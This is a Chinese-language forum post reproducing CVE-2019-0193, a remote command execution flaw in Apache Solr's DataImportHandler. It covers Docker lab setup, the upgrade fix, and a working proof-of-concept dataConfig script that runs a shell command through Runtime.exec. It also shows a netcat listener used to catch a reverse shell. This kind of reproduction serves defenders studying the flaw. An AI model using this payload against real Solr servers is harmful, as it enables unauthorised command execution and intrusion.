標題:Apache Solr 遠程命令執行漏洞復現

taibeihacker

Moderator

Apache Solr 远程命令执行漏洞​

2019 年8 月1 日,Apache Solr 官方發布了CVE-2019-0193 漏洞預警,漏洞危害評級為嚴重。
此次漏洞出現在Apache Solr 的DataImportHandler ,該模塊是一個可選但常用的模塊,用於從數據庫和其他源中提取數據。它具有一個功能,其中所有的DIH 配置都可以通過外部請求的dataConfig 參數來設置。由於DIH 配置可以包含腳本,因此攻擊者可以通過構造危險的請求,從而造成遠程命令執行。
360CERT 判斷漏洞等級為高,建議Apache Solr 用戶及時升級以防止攻擊者攻擊。

POC​

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
dataConfig
script![CDATA[
function f1(row){
var run=java.lang.Runtime.getRuntime().exec('touch /tmp/success');
row.put('name', 'Hello World!');
return row;
}
]]/script
document
entity name='person' transformer='script:f1' query='select * from person' pk='id'
field column='id' name='id' /
field column='name' name='name' /
/entity
/document
/dataConfig

漏洞成因​

該漏洞的產生是由於兩方面的原因:
用戶在solrconfig.xml 文件中設置了DataImportHandler,開啟了DataImport 功能。
DataImportHandler 模塊允許用戶自己包含腳本,來進行配置。
攻擊者可以通過構造惡意的腳本交由轉換器進行解析,在Solr解析的過程中並未對用戶的輸入做檢查,可導致攻擊者遠程在Solr服務器上執行命令。

环境搭建​

solr部署​

本環境採用docker部署
拉取鏡像:docker pull solr: 8.1.1
啟動容器:docker run –name solr -d -p 8983:8983 -t solr:8.1.1
訪問http://ip:8983/,apache solr 框架部署完畢
20190807203033.png-water_print

开启DataImportHandler插件​

新建core:​

20190807203222.png-water_print

點擊Add Core,solr系統報錯。
然後執行:docker exec -it –user root solr /bin/bash,進入solr 容器。
進入容器後,執行:
1
2
3
4
5
cp /opt/solr-8.1.1/server/solr/configsets/_default/conf /var/solr/data/new_core/
cp /opt/solr/dist/solr-dataimporthandler-8.1.1.jar /opt/solr/server/solr-webapp/webapp/WEB-INF/lib
cp /opt/solr/dist/solr-dataimporthandler-extras-8.1.1.jar /opt/solr/server/solr-webapp/webapp/WEB-INF/lib
cd /var/solr/data/new_core/conf/
vim solrconfig.xml

DataImportHandler 插件配置​

將下面的XML 添加到solrconfig.xml中
1
2
3
4
5
6
requestHandler name='/dataimport'
class='org.apache.solr.handler.dataimport.DataImportHandler'
lst name='defaults'
str name='config'data-config.xml/str
/lst
/requestHandler
注:XML 的格式一定按照上述格式,否則會報錯!
執行vim data-config.xml,並將下面XML 保存至該文件:
1
2
3
4
5
6
7
8
9
dataConfig
dataSource driver='com.mysql.jdbc.Driver' url='jdbc:mysql://IP:3306/securityTest' user='root' password='root' /
document
entity name='person' query='select * from person' pk='id'
field column='id' name='id' /
field column='name' name='name' /
/entity
/document
/dataConfig
然後將mysql-connector-java-5.1.48.jar 放入/opt/solr/server/solr-webapp/webapp/WEB-INF/lib 文件夾下

重启 solr​

然後重啟solr:/opt/solr/bin/solr restart
至此,漏洞環境搭建完畢,搭建成功的截圖如下:
20190807204045.png-water_print

漏洞测试​

访问管理页面​

瀏覽器訪問:http://ip:8983/

开启 Debug 模式​

將poc 複製到Configuration 中:
20190807204426.png-water_print

20190807204958.png-water_print

可在標註的地方更換受害機執行的命令,本文以反彈shell為例。

开启监听​

nc -lp 4567

执行命令​

點擊Execute with this Configuration
20190807205043.png-water_print

執行成功可以發現shell已經成功反彈:
20190807205235.png-water_print

影响范围​

Apache Solr 8.2.0

修复建议​

將Apache Solr 升級至8.2.0 或之後的版本
 
返回
上方